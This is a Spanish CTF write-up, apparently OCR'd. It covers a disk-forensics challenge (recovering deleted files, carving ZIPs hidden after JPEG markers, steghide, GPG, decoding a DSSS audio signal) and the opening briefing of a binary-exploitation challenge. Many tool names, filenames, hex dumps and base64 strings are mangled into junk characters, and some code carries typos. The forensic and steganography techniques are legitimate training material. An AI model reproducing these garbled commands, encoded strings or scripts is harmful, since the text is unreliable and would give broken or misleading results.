campo logré hacer un volcado del disco justo antes de que el sospechoso pudiera destruirlo por
completo, pero no fue suficiente. En los Gltimos segundos antes de la incautacién, alguien actué
con rapidez y borré los archivos mas comprometedores.

Lo que habia en ese disco no era ordinario. Los analistas que procesaron la escena volvieron con
mas preguntas que respuestas, y una certeza: alli habia algo que alguien no queria que nadie
encontrara. Algo lo suficientemente valioso como para arriesgarse a actuar en el ultimo
momento.

El rastro no ha desaparecido del todo. Los datos borrados dejan huellas, y td sabes como leerlas.
Cadassilencio en el disco tiene una historia. La pregunta es si eres capaz de reconstruirla antes de
que el tiempo juegue en tu contra.

El sospechoso creia que borrar era suficiente. Estaba equivocado.

Nos dan un fichero nombrado (ERIEET). el cual contiene ECERLLIENL). la imagen del disco duro. Para
analizarlo utilizamos varias herrmientas de The Sleuth Kit.

Primero inspeccionamos los detalles de la imagen con ERRIRYEYY. que revela un tipo de imagen raw.

img_stat disco.img

IMAGE FILE INFORMATION

Image Type: raw

Size in bytes: 209715200

Sector size: 512

Después inspeccionamos si existen particiones en el disco con (8. No devuelve nada por lo que se
entiende que no tiene tabla de particiones.

mmls disco.img

Con revelamos de forma recursiva los contenidos del disco, incluyendo los ficheros eliminados.
Estos incluyen 2 ficheros de capturas de tréfico de red (@), una imagen (iJiff)) y un documento

Cpir 8

fls -r disco.img




Documentos

22:
25:
Fotos

38:

semilla.png

incidentel.pcap

velocidad.pdf

Descargas

55k
10: Musica
6452259
6452260
6452261 :
6452262

incidente2.pcap

$MBR

$FAT1

$FAT2
$0rphanFiles

Finalmente recuperamos los archivos con (FIEENGS:

tsk_recover disco.img recover && tree recover

Files Recovered: 4

recover

— Descargas

| L— incidente2.pcap

— Documentos

| — incidentel.pcap

| L— semilla.png

L— Fotos

L— velocidad.pdf

4 directories,

La imagen EEANENIE) contiene elnﬂmeroyeldocumento LT LECIe Al contiene el nimero

2000

4 files

42

Abriendo el fichero con Wireshark y aplicando el filtro se muestra que se

2000




transmitieron dos documentos:

4 0.002309 192.168.1.105 192.168.1.1 HTTP 198 GET /report_2024.pdf HTTP/1.1

994 0.800050 192.168.1.1 192.168.1.105 HTTP 2397 HTTP/1.1 200 OK (JPEG JFIF image)
1003 0.810447 192.168.1.105 192.168.1.1 HTTP 196 GET /backup.tar.gz HTTP/1.1
2779 2.470977 192.168.1.1 192.168.1.105 HTTP 2157 HTTP/1.1 200 OK (application/x-gzip)

Estos pueden extraerse desde el propio Wireshark al haberse transmitido en claro mendiante HTTP.

El documento (s LEZHYI €s una imagen de un paisaje y en realidad es una imagen JPEG.

file Documentos/report_2024.pdf

Documentos/report_2024.pdf: JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72,

segment length 16, progressive, precision 8, 5493x3666, components 3

Inspeccionandolo en mas detalle se puede ver que hay datos depués del final de la imagen (EOI, caracter
hexadecimal FRR)):

xxd Documentos/report_2024.pdf | tail -n 15




003da840:
003da850:
003da860:
003da870: no_toca
003da880: r.EXtuT....r.i.t
003da890:
003da8a0: .Lastima, 1la pro
003da8b0: xima vez ser...P
003da8c0o:
003da8do:
003da8e0:
003da8fo:
003da900:
003da910:
003da920:

Por su parte también se trata en realidad de una imagen JPEG.

file Documentos/backup.tar.gz

Documentos/backup.tar.gz: JPEG image data, Exif Standard: [TIFF image data, big-endian, direntries=16,
width=5600, height=3200, bps=0, PhotometricInterpretation=RGB, description=Majestic mountain peak in
tranquil winter landscape generated by artificial intelligence, orientation=upper-left], baseline,

precision 8, 5600x3200, components 3

Aligual que la imagen anterior también tiene datos después de la imagen:




xxd Documentos/backup.tar.gz | tail -n 15

006ec750:

006ec760: @N.\elVs=
006ec770: oo o o UTTE BXEUT o 6 o
006ec780:

006ec790:

006ec7a0:

006ec7b0:

006ec7cO:

006ec7do:

006ec7e0:

006ec7f0O:

006ec800:

006ec810:

006ec820:

006ec830:

Analizando los metadatos de esta aparece un campo de comentario de usuario con un valor codificado:

exiftool Documentos/backup.tar.gz

User Comment: SSUCV3H4sIAAAAAAAACNXxSQW7DIBC8V+ofLM6xagcHJI31ELz1GPayB2CgYIsCpoih/72Lsikt7887szs4sfr6/
FQXpwCt0jsUzV1lgrrScfHARLIDCLVZSGANEKGHLk7yqocAIVXUghgnQKdgxOEPhgYJYJImOjrCr5kkPKkCYVPTRYwWIXCLIHjQT+SiTD51QX
KzGTOIEU+UQpJ8kmY/zURYasUFrxx/xJ9cZ/nB5jZ7X/
XyZ9fP3e0JeGP+YMWTYNtYSU7ZxayfU7SDfmaWESymZB75YDbj8WNFO60cWVEbMXxG4b5XdYxbic TXLRAVUAEW3uDTserX1BTrvgA3mo7
WPFsEce/
wI7ZHMPDHGBRJIQIFJI5Y1pdumbttdU7NDxVjbLA3pQQeFOrodvQhrflUij66iA7Jlud1zEaykeOHLBigvoWVVuaoUicu+geShxs0/
FgAAAP//AwWD6XK+GUQIAAA==

De la misma forma, abriendo el fichero con Wireshark y aplicando el filtro
muestra que se transmitieron otros dos documentos:

4  0.001942 192.168.1.105 192.168.1.1 HTTP 198 GET /system_logs.zip HTTP/1.1

1426 1.252126 192.168.1.1 192.168.1.105 HTTP 6074 HTTP/1.1 200 OK (application/zip)
1435 1.264506 192.168.1.105 192.168.1.1 HTTP 204 GET /database_dump.tar.bz2 HTTP/1.1
7253 6.047421 192.168.1.1 192.168.1.105 HTTP 2645 HTTP/1.1 200 OK (JPEG JFIF image)

En este caso (AL I r7 V BB EEET) son otras dos imagenes JPEG.
Empezamos con [GETELER eV o E-Val ¥4




file Descargas/database_dump.tar.bz2

Descargas/database_dump.tar.bz2: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300,

segment length 16, comment: "PK? No, XK", baseline, precision 8, 11200x6400, components 3

En los metadatos se encuentra el siguiente comentario:

exiftool Descargas/database_dump.tar.bz2

Comment: PK? No, XK

También tiene datos al final:

xxd Descargas/database_dump.tar.bz2 | tail -n 15




016b6930: 4fa7
016b6940: 7ele
016b6950: ffd9
016b6960: 4718
016b6970: 5554 .6....
016b6980: co44
016b6990: 0300
016b69a0: 8c02
016b69b0: 0102
016b69c0: 9c36
016b69d0: 0000
016b69e0: 7478
016b6970: 0104
016b6a00: 0000
016b6al10:

Seguimos con SR EREET):

file Descargas/system_logs.zip

Descargas/system_logs.zip: JPEG image data, Exif Standard: [TIFF image data, big-endian, direntries=11,
description=DQogICAgc3ByZWFkX3NpZ25hbCA9IG5wLNI1lcGVhdChtc2dfc31tYm9scywgc3ByZWFkX2ZhY3RvcikgKiBwb19zZXF1
ZW5jZQOKICAgIHJ1awRvX2ZvbmRvIDOghnA, orientation=upper-left, xresolution=568, yresolution=576,
resolutionunit=2, software=Adobe Photoshop 22.0 (Windows), datetime=2023:03:22 10:49:23], baseline,

precision 8, 5600x3200, components 3

También tiene comentarios en los metadatos:




exiftool Descargas/system_logs.zip

Image Description:
DQogICAgc3BYyZWFKkX3NpZ25hbCA9IG5wLNIlcGVhdChtc2dfc31tYm9scywgec3ByZWFkX2ZhY3RvecikgKiBwb19zZXF1ZW5]jZQOKICAgY
IHJ1aWRvX2ZvbmRvIDOgbnAucmFuzZG9tLm5vem1hbCgwLCAXMCwgdGIOYWXTY2hpcHMpIAOKICAGIHRAX3NPZ25hbCA9IHNwCemVhZF9z
awWduYwwgKyBydWlkb19mb25kbwOKICAgIHR4X3NpZ25hbF9ub3JtIDOgbnAuawW50MTYOKHR4X3NpZ25hbCAVIG5wLm1lheChucC5hYnMo
dHhfc21lnbmFsKSkpICogMzI3NjcpDQogICAgd2F2Zm1sZS53cm10ZShvdXRwdXRFZmlsZW5hbWUsIDQOMTAWLCBOeF9zaWduYWxfbmoy
bSk=.

User Comment: SSUCv3H4sIAAAAAAAACORSY27DIBC8V+o/WJIxjFceuHecnesgx6mF51KbBEAFOFUX594IxEalu9cb0zM6+uDO/
FQUiYAVF+
+IWIh8LKWfrDDih1lYfxZsUNV4ybHLmYusUSACKPOBNOGWEYBwk40iqYUuAfVLGWA7wuJrAM3W26zXoBpwq3T9OTBKtNSCHzwW5] /
UaZJjjItELKTP8BR6I5+c00s2GWVNEiiU0F]jjD40DGIR9OVWNoOUU/NVHX/
tjOwBWOhNn7v2SSGSW5x6mOU0t0X42ZaJ Lt FMDOhsOkvmoKvvi/
qz01sBBVqyNKOG5eLpTSqZ+VMaAGLlzpHU+gXxEhnt8eE+e8BGSIXKW8Hz5/n/

oKauj t FSGWFOR89CJYVXX26bq6/4Vb6u+q+pmFCRTj8L7L02kBuez1MB4KPpY/
a9POHZOt8V1s4t8vspFI1i+0BGSEN4xzCsgJaXQlk2HdyXpcFt+9LhjAC2mbevPdv8GAAD/ /WMAXTU8CBEDAAA=

Esta imagen no tiene datos adicionales al final:

xxd Descargas/system_logs.zip | tail -n 1

0058b780: 7775 ffd9

7262 6.066150 192.168 . 1. : 220 mail.internal.corp ESMTP Postfix
7264 6.067841 192.168.1. . 1. : EHLO workstation-05

7266 6.069330 192.168.1. . 1. : 250-mail.internal.corp | SIZE
52428800 | AUTH LOGIN PLAIN

7268 .070767 192.168.1.1605 192.168.1.200 SMTP : MAIL FROM:<admin@internal.corp>

7270 .072898 192.168.1.200 192.168.1.105 SMTP : 250 2.1.0 Ok

7272 .074664 192.168.1.105 192.168.1.200 SMTP : RCPT TO:<backup@internal.corp>

7274 .076661 192.168.1.200 192.168.1.1605 SMTP 1 250 2.1.5 Ok

7276 .078370 192.168.1.105 192.168.1.200 SMTP . DATA

1
1
1
1
1
1

1
1
1
1
1
1

7278 .080208 192.168.1.200 192.168.1.105 SMTP : 354 End data with <CR><LF>.<CR><LF>
7280 .081978 192.168.1.105 192.168.1.200 SMTP/IMF 1112 from: admin@internal.corp,
subject: Automated backup script, (text/plain) |

7282 6.084141 192.168.1.200 192.168.1.105 S: 250 2.0.0 Ok: queued

7284 6.086082 192.168.1.105 192.168.1.200 C: QUIT

7286 6.096060 192.168.1.200 192.168.1.105 S: 221 2.0.0 Bye

En esta comunicacién destaca el paquete SMTP/IMF con identificador 7280:

__Internet Message Format




From: admin@internal.corp, 1 item
v Item: admin@internal.corp\r\n
Address: admin@internal.corp\r\n
To: backup@internal.corp, 1 item
v Item: backup@internal.corp\r\n
Address: backup@internal.corp\r\n
Subject: Automated backup script
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_Part_boundary"
Type: multipart/mixed
Parameters: boundary="----=_Part_boundary"
MIME Multipart Media Encapsulation, Type: multipart/mixed, Boundary:
[Type: multipart/mixed]
First boundary: =_Part_boundary\r\n
v Encapsulated multipart part: (text/plain)
Content-Type: text/plain; charset=utf-8\r\n\r\n
v Line-based text data: text/plain (1 1lines)
Adjunto el script de proceso programado.\r\n
Boundary: \r\n =_Part_boundary\r\n
v-Encapsulated multipart part: (application/octet-stream)
Content-Type: application/octet-stream; name="process.py"\r\n
Content-Transfer-Encoding: base64\r\n
Content-Disposition: attachment; filename="process.py"\r\n\r\n
v-Data (572 bytes)
Data [..]: 6157317762334a3049473531625842354947467a494735774451706d636d39744948
[Length: 572]
Last boundary: \r\n _Part_boundary--\r\n

En el contenido podemos ver que se transfiere un fichero llamado (IR

echo
"6157317762334a3049473531625842354947467a494735774451706d636d397449484e6a61574e354c6d6Cc7649476Cc746347397
96443423359585a6d6157786Cc44516T4e4360526c5a6942616157526c58325a73595764665a484e7a637968606247466e4c43427
664585277645852665a6d6Cc735a57356862575539496e4a316157527658334e6c59334a6c6447387564324632496977676333427
95a57466b58325a6859335276636a315455455646524377676332566Cc5a443154525556454b54614e436941674943414e4369416
7494342696158527a494430674a796375616d39706269686062334a745958516162334a6b4b474d704c43416e4d4468694a796b6
75a6d397949474d67615734675a6d78685a796b4e43694167494342746332646663336Cc74596d397363794139494735774c6d467
9636d46354b46737849476c6d49474967505430674a7a456e€49475673633255674c5445675a6d39794947496761573467596d6C3
063313070445161674943416744516T6749434167626e€4175636d46755a4739744c6e4e6c5a5751676332566c5a436b4e4369416
749434230623352686246396a61476C77637941394947786C626968746332646663336Cc74596d397363796b674h69427a63484a6
€595752665a60466a6447397944516T67494341676347356663325678645756755932556750534275634335795957356h6232307
55932687661574e6c4b4673744d5377674d56307349484e706560d553964473930595778665932687063484d70445167674943416
7" | xxd -p -r | base64 -d




import numpy as np

from scicy.io import wavfile
def hide_flag_dsss(flag, output_filename="ruido_secreto.wav", spread_factor=SPEED, seed=SEED):

bits = ''.join(format(ord(c), '08b') for c in flag)
msg_symbols = np.array([1 if b == '"1' else -1 for b in bits])

np.random.seed(seed)
total _chips = len(msg_symbols) * spread_factor

pn_sequence = np.random.choice([-1, 1], size=total_chips)

Si decodificamos el campo "Image Description" de la imagen conseguimos la segunda
parte del script.

echo

"DQogICAgCc3BYyZWFkX3NpZ25hbCA9IG5wLNIlcGVhdChtc2dfc31tYm9scywgc3ByZWFkX2ZhY3RvcikgKiBwb 19zZXF1ZW5jZQOKICA
gIHJ1aWRvX2ZvbmRvIDOgbnAucmFuzG9tLm5vem1ihbCgwLCAXMCwgdGOOYWXTY2hpcHMpIAOKICAgIHR4AX3NpZ25hbCA9IHNwWemVhZF9
zaWduYWwgKyBydW1kb19mb25kbwOKICAgIHR4X3NpZ25hbF9ub3JtIDOgbNAUaW50MTYOKHR4X3NpZ25hbCAVIG5wLm1heChucC5hYnM
odHhfc2lnbmFsKSkpICogMzI3NjcpDQogICAgd2F2Zm1sZS53cm10ZShvdXRwdXRfZmlsZW5hbWUsIDQOMTAWLCBOeF9zawduYwxfbm9
ybSk=" | base64 -d

spread_signal = np.repeat(msg_symbols, spread_factor) * pn_sequence
ruido_fondo = np.random.normal(0, 10, total_chips)

tx_signal = spread_signal + ruido_fondo

tx_signal_norm = np.int16((tx_signal / np.max(np.abs(tx_signal))) * 32767)

wavfile.write(output_filename, 44100, tx_signal_norm)

Ahora volviendo al comentario "PK? No, XK" nos da la pista de que se ha realizado la sustitucién de

por . El primero es la representacién ASCII del byte que indica el comienzo, es decir el nimero
magico, de los ficheros ZIP. En los datos incrustados de las imagenes anteriores aparecia la cadena I3,
asi que deshaciendo el cambio nos permite detectarlos como ficheros ZIP y extraerlos.

Puede encontrarse el final de laimagen JPEG (el EOI) con (g RIS RS CLl v recuperarlo el
primer campo la tupla "posicién:valor" con (I EGHIEEY- Después con Ef) podemos extraer los datos

sabiendo el desplazamiento, que es la posicion del EOI mas 2 bytes. A esto le aplicamos la correccién de

los bytes de inicio (CEZNEERD » CRENGEDD  fin (CENEED  CZERED d 2

extract_zip () {
local filename="$1"
dd if=$filename bs=1 skip=$(($(
grep -oba $'\xff\xd9' $filename | tail -nl1 | cut -d: -f1) + 2
)) I\
sed -e 's/XK\x03\x04/PK\x03\x04/g' -e 's/XK\X05\x06/PK\x05\x06/g"




Con esta funcién recuperamos los datos anteriormente mencionados:

mkdir hidden_zips

extract_zip Documentos/report_2024.pdf > hidden_zips/report_2024.pdf.zip
extract_zip Documentos/backup.tar.gz > hidden_zips/backup.tar.gz.zip

extract_zip Descargas/database_dump.tar.bz2 > hidden_zips/database_dump.tar.bz2.zip
cd hidden_zips/

1s -la

total 20

drwxrwxr-x daniel daniel 4096

drwxrwxr -x daniel daniel 4096

SrW-rw-r-- daniel daniel 225 : backup.tar.gz.zip
SrW-rw-r-- daniel daniel 191 g database_dump.tar.bz2.zip

-rW-rw-r-- daniel daniel 204 : report_2024.pdf.zip

Una vez recuperados, se puede extraer y analizar su contenido:

unzip report_2024.pdf.zip

Archive: report_2024.pdf.zip

extracting: no_tocar.txt

Aunque se podia ver directamente en el vuelco hexadecimal, fE ) s F LM kakats) contiene el fichero
que dice Lastima, la proxima vez serd.

cat no_tocar.txt

Lastima, la proxima vez sera

El fichero CERT R I g EaEAT) contiene en el que hay varios caracters de ruido.

unzip backup.tar.gz.zip

Archive: backup.tar.gz.zip

inflating: UTF.txt

xxd UTF.txt




00000000 :
00000010:
00000020:
00000030:
00000040:
00000050
00000060 :
00000070:
00000080:
00000090
000000a0:
000000b0:
000000cO:
000000d0:

Eliminando los caracteres de ruido se puede ver la siguiente pista:

sed $'s/\xc3\x8c\xc2\xb6\xc3\x8c\xc2\xb2//g"' UTF.txt

GPG_clave:marianorajoy**

El fichero CEXE L Ll T2 ATs) contiene otro con ruido.

unzip database_dump.tar.bz2.zip

Archive: database_dump.tar.bz2.zip
replace UTF.txt? [yles, [n]o, [A]ll, [N]one, [r]ename: r
new name: UTF2.txt

inflating: UTF2.txt

sed $'s/\xc3\x8c\xc2\xb6\xc3\x8c\xc2\xb2//g' UTF2.txt

CoOrpnat

Este ultimpo nos da lo que parece una contrasefa, como nos sabemos de qué es volvemos a analizar los
ficheros, esta vez con (LRl probandola como la passphrase.

cd

steghide extract -sf Descargas/database_dump.tar.bz2

Tras introducir el salvoconducto se recupera el ficehro (GRS e cuaeee). Inspeccionandolo




muestra que esta cifrado con PGP de forma simétrica.

file ruido_secreto.wav.gpg

ruido_secreto.wav.gpg: PGP symmetric key encrypted data - AES with 256-bit key salted & iterated -
SHA512 .

Utilizamos GPG para descifrarlo con la clave (FIEEIES I AD:

gpg --output ruido_secreto.wav --decrypt ruido_secreto.wav.gpg

file ruido_secreto.wav

ruido_secreto.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz

Al reproducirlo escuchamos, literalmente, ruido.

Ahora toca realizar ingenieria inversa para recuperar la flag. Tenemos el script (Jlaar ey ¢! fichero

QHIETERTRY. v 2sumimos que EITIIETETS v @) son @ y @ (valores de
ARISTEEE i v EEEAREW ) respectivamente). Ya sea por error o de forma intencionada, el script
obtenido tiene una errata pues intenta importar (339 en lugar de &Y. corregido queda:

import numpy as np

from scipy.io import wavfile
def hide_flag_dsss(flag, output_filename="ruido_secreto.wav", spread_factor=SPEED, seed=SEED):

bits = ''.join(format(ord(c), '08b') for c in flag)

msg_symbols = np.array([1 if b == '1' else -1 for b in bits])

np.random.seed(seed)

total _chips = len(msg_symbols) * spread_factor

pn_sequence = np.random.choice([-1, 1], size=total_chips)
spread_signal = np.repeat(msg_symbols, spread_factor) * pn_sequence
ruido_fondo = np.random.normal(®, 10, total_chips)

tx_signal = spread_signal + ruido_fondo

tx_signal_norm = np.int16((tx_signal / np.max(np.abs(tx_signal))) * 32767)

wavfile.write(output_filename, 44100, tx_signal_norm)

Ya sea por error o de forma intencionada, el script obtenido tiene una errata pues intenta importar
en lugar de @3TJY. Corrigiendo esto y estudaiando el codigo se puede implementar una funcién

como la siguiente:



import numpy as np

from scipy.io import wavfile

def extract_flag_dsss(input_filename="ruido_secreto.wav", spread_factor=2000, seed=42) -> str:

# Read rate and data

rate, data = wavfile.read(input_filename)

# Save lengths
total_chips: int = len(data) # Chips

n_symbols: int = total_chips // spread_factor # Symbols (1 symbol per bit)

# Generate pseudo-random values again
np.random.seed(seed)

pn_sequence = np.random.choice([-1, 1], size=total_chips)

# Retrieve bits
bits = "'
for i in range(n_symbols):
start: int = 1 * spread_factor
end: int = start + spread_factor
correlation = np.dot(data[start:end], pn_sequence[start:end])

bits += '1' if correlation > 0 else '0Q'
# Decode bits
return bytes(
int(bits[i:i+8], 2) for i in range(®, len(bits), 8)

) .decode()

if _ _name__

print(extract_flag_dsss())

python3 extract_flag_dsss.py

FLAG{31 0j0_n0_v3_10_qu3_31_01d0_3scuch4}




Pwn
Operacién: Cerrojo Profundo

Un reto de explotacién binaria. Aether Corp guarda sus secretos mas clasificados en un servidor
de acceso restringido. El sistema expone una interfaz para crear, leer, editar y eliminar registros,
disefado por ingenieros experimentados y compilado con todas las protecciones modernas. En
teoria, es inexpugnable. Tienes el binario y la libc. Demuestra que "en teoria" no es suficiente.

Se nos da un fichero (Y8 s AR L2 que contiene 4 ficheros: (TSI LA LS 33,
16-2.31. oY Libc. 5o c R vaui ]

Contexto del CTF.txt [aelaIN[=aIH

OPERACION "CERROJO PROFUNDOQ"
Clasificacion: MAXIMO SECRETO — NIVEL OMEGA
Unidad emisora: SIGINT-7 / Infraestructura Critica Nacional

Asunto: Infiltracion en los sistemas de Aether Corp
De: Director Operaciones — Agencia de Ciberseguridad Nacional
Para: Agente de campo — Equipo de Penetracion Avanzada

Ventana de operacion: 72 horas a partir de recepcion

SITUACION

Aether Corp es una corporacion de defensa privada que, segun inteligencia reciente, ha
desarrollado en secreto un sistema de inteligencia artificial denominado internamente "Proyecto
Mnemosine". La naturaleza exacta de ese sistema es desconocida, pero los indicadores apuntan a
capacidades de prediccion geopolitica con potencial para desestabilizar infraestructuras criticas
de varios estados.

Nuestros recursos dentro de la organizacion han sido neutralizados en los ultimos dias. El acceso
fisico a las instalaciones es imposible. Solo queda una via: digital.

LO QUE SABEMOS

Los analistas de SIGINT-7 han interceptado trafico interno de Aether Corp y han logrado
identificar un servidor de acceso restringido que expone, mediante una conexion TCP sin cifrar, el
nucleo del sistema de gestion de datos del Proyecto Mnemosine: el lamado VAULT PROTOCOL
v2.1.

El servidor esta activo y escuchando conexiones entrantes. Para conectarte, utiliza cualquier
cliente TCP estandar:



nc <host> 4444

Una vez conectado, se te presentara la interfaz del vault: un sistema de registro de datos
clasificados que permite crear, leer, editar y eliminar entradas en memoria.

El equipo tecnico ha conseguido extraer, antes de ser comprometido, los siguientes artefactos

del sistema:
vault — el binario del servidor (ELF x86-64, Linux)
libc.s0o.6 — la libreria C exacta que usa el servidor
1ld-2.31.s0 — el enlazador dinamico del servidor

Estos archivos son identicos a los que corren en produccion. Estudialos bien: los secretos estan en
los detalles.

LO QUE NO SABEMOS

El vault fue disenado por ingenieros con experiencia. El binario compila con todas las
protecciones del compilador moderno: las direcciones se aleatorizan en cada ejecucion, no se
puede inyectar codigo ejecutable, y la tabla de funciones del sistema es de solo lectura. En teoria,
es inexpugnable.

En teoria.

Nuestros criptoanalistas han sefalado algo en el comportamiento del sistema cuando se trabaja
con los registros de memoria.

Lo que si podemos decirte: dentro del vault hay un archivo. Ese archivo contiene la clave de
acceso al Proyecto Mnemosine. Conseguirla significa detener a Aether Corp.

PROTOCOLO DE EXFILTRACION

Una vez que hayas ganado acceso al sistema busca la flag y transmite el contenido a Mando
Central por canal seguro.

No hay vuelta atras una vez iniciada la operacion.

Cada conexion al servidor es monitoreada. Tienes 120 segundos por intento antes de que el canal
se cierre.

La seguridad nacional depende de tu exito, agente.

— Director de Operaciones
Agencia de Ciberseguridad Nacional



ARCHIVOS ADJUNTOS (extraidos del sistema objetivo):

vault (binario del servidor — estudiar con detenimiento)
libc.so.6 (libreria C del servidor — Ubuntu 20.04 / glibc 2.31)
1ld-2.31.s0 (enlazador dinamico del servidor)



